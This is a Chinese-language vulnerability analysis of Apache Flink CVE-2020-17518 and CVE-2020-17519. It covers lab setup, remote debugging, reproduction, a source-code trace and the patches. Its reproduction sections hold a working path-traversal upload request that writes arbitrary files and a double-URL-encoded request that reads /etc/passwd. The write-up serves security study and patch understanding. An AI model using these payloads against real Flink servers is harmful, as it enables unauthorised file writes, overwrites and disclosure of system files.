作者: Veraxy@QAX CERT
原文鏈接:https://www.freebuf.com/vuls/260184.html

Apache Flink是由Apache軟件基金會開發的開源流處理框架,其核心是用Java和Scala編寫的分布式流數據流引擎。

0x01 環境搭建

個人喜歡手動搭建環境,已有相關漏洞環境的盆友可越過這節,直接看漏洞部分。

1.JDK裝好

圖片

2.安裝Flink

安裝包地址:https://archive.apache.org/dist/flink/flink-1.11.2/

為同時滿足兩個漏洞環境,這里安裝1.11.2版本

圖片

解壓縮

# tar -zxvf flink-1.11.2-bin-scala_2.11.tgz

圖片

修改配置文件conf/flink-conf.yaml中jobmanager.rpc.address參數為本地服務器IP地址

# vim conf/flink-conf.yaml
jobmanager.rpc.address: 192.168.18.169

并添加遠程調試參數:

# vim conf/flink-conf.yaml
# jobmanager debug端口
env.java.opts.jobmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5006"
# taskmanager debug端口
env.java.opts.taskmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"

3.啟動Flink服務

# cd bin
# ./start-cluster.sh

圖片

看看開放了哪些端口:5005、5006是配置的debug端口,8081是webUI訪問端口,6123是JobMamanger進行RPC通信的端口

圖片

訪問服務

圖片

停止Flink服務:

flink啟動會把啟動的進程的ID存到一個文件中,相關配置在bin/config.sh文件中,默認是“/tmp”,由于是臨時目錄,會被系統清理,存放的進程ID就找不到了,也就沒法關閉集群了。

直接執行關閉指令,會發現關閉不了

# cd bin
# ./stop-cluster.sh?

圖片

怎么做?

新建一個目錄 /usr/local/flink-1.11.2/tmp 來存放啟動的進程的ID

修改bin/config.sh文件,為DEFAULT_ENV_PID_DIR指定為新建的路徑

DEFAULT_ENV_PID_DIR="/usr/local/flink-1.11.2/tmp"?

圖片

重新執行關閉指令:

# ./stop-cluster.sh?

圖片

0x02 遠程調試

上文遠程Flink服務的配置文件flink-conf.yaml中已經配好了遠程調試參數,開啟了5005、5006調試端口。

圖片

本地IDEA打開該版本源碼:

https://github.com/apache/flink/releases/tag/release-1.11.2

創建Remote配置,指定Host和Port,這里調試jobmanager,選擇對應的端口

圖片

開啟遠程調試

圖片

0x03 CVE-2020-17518

Flink 在 1.5.1 版本中引入了一個 REST handler,這允許攻擊者將已上傳的文件寫入本地任意位置的文件中,并且可通過一個惡意修改的 HTTP 頭將這些文件寫入到?Flink 1.5.1 可以訪問的任意位置。

影響范圍:1.5.1 <= Apache Flink? <= 1.11.2

參考鏈接:

快速復現

1.利用一:文件上傳

編輯請求數據包,上傳 /tmp/veraxy 文件

POST /jars/upload HTTP/1.1
Host: 192.168.18.169:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13247690941547071692111317477
Content-Length: 248
Origin: http://192.168.18.169:8081
Connection: close
Referer: http://192.168.18.169:8081/
-----------------------------13247690941547071692111317477
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/veraxy"
Content-Type: text/plain
Veraxy!!!
-----------------------------13247690941547071692111317477--

圖片

圖片

2.利用二:文件覆蓋

若上傳路徑已有文件,將覆蓋其內容。

圖片

圖片

漏洞分析

查看該漏洞相關郵件,已經指出commit地址

圖片

移步commit,上傳功能的校驗問題,并指出有兩個測試案例

圖片

測試代碼再次給出提示,修改文件名添加../

圖片

找到系統的上傳功能

圖片

傳個測試文件,是/jars/upload接口

圖片

官方文檔對該接口的使用說明

圖片

在處理上傳路徑的地方打斷點

圖片

獲取filename

圖片

resolve()解析方法接收filename,與系統路徑拼接

圖片

dest存儲拼接后上傳路徑,傳給 fileUpload.renameTo()方法

圖片

上傳文件,并重命名保存至另一個路徑以做緩存

圖片

緩存文件存在時間很短,只有30s圖片

此時系統按目標路徑寫入文件

圖片

補丁分析

對上傳路徑做了處理

圖片

org.apache.flink.runtime.rest.FileUploadHandler#channelRead0() 對傳入的filename進行截斷,只取末尾的文件名,傳遞的../ 和目錄名均被忽略

圖片

resolve()方法接收到的文件名只有結尾部分,與系統路徑拼接后返回

圖片

賦值給dest路徑變量,執行重命名緩存行為并上傳文件

圖片

0x04 CVE-2020-17519

Apache Flink 1.11.0中引入的更改(包括1.11.1和1.11.2)允許攻擊者通過JobManager進程的REST接口讀取JobManager本地文件系統上的任何文件。

影響范圍:Apache Flink 1.11.0、1.11.1、1.11.2

參考鏈接:

快速復現

遍歷文件/etc/passwd:

http://192.168.18.171:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

圖片

漏洞分析

查看該漏洞相關郵件,同樣指出commit地址

圖片

移步

圖片

文檔找一下/jobmanager/logs接口說明

圖片

發送請求

http://192.168.18.169:8081/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd

系統接收請求,對request進行解析,初始化HandlerRequest對象

圖片

routedRequest.getRouteResult()獲取result,decodedPath為一次解碼后,pathParams存放二次解碼后結果

圖片

圖片

將HandlerRequest傳遞給org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile,獲取pathParams中存放的filename,拼接logDir返回路徑。

圖片

讀取文件內容作為響應。

圖片

不懂就問

routedRequest.getRouteResult()獲取的result是如何初始化的?包括其中的解碼流程。

圖片

回溯到org.apache.flink.runtime.rest.handler.router.RouterHandler#channelRead0(),這里routeResult為后面routedRequest中this.result原型,看routeResult如何初始化

圖片

url一次解碼的地方,賦值給this.path返回

圖片

將method、path、queryParameters傳送給router.route()方法來初始化一個routeResult對象

圖片

其中decodePathTokens(path)將path進行了二次解碼,與此同時會判斷路徑中的“/”并截斷,我們傳入“/”的編碼形式免于攔截,隨后的for循環中再次進行解碼,成功返回一個正常路徑。

圖片

補丁分析

跟17518修復方式一致,通過File.getName()只取默認文件名

圖片

org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile方法,

路徑中的../和目錄名都被忽略,filename只剩下了文件名

圖片

總結

Apache Flink 服務大多開放在內網,漏洞影響面不算太大,但大數據時代隨著該應用的使用量日益增多,其漏洞還是值得重視的。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1505/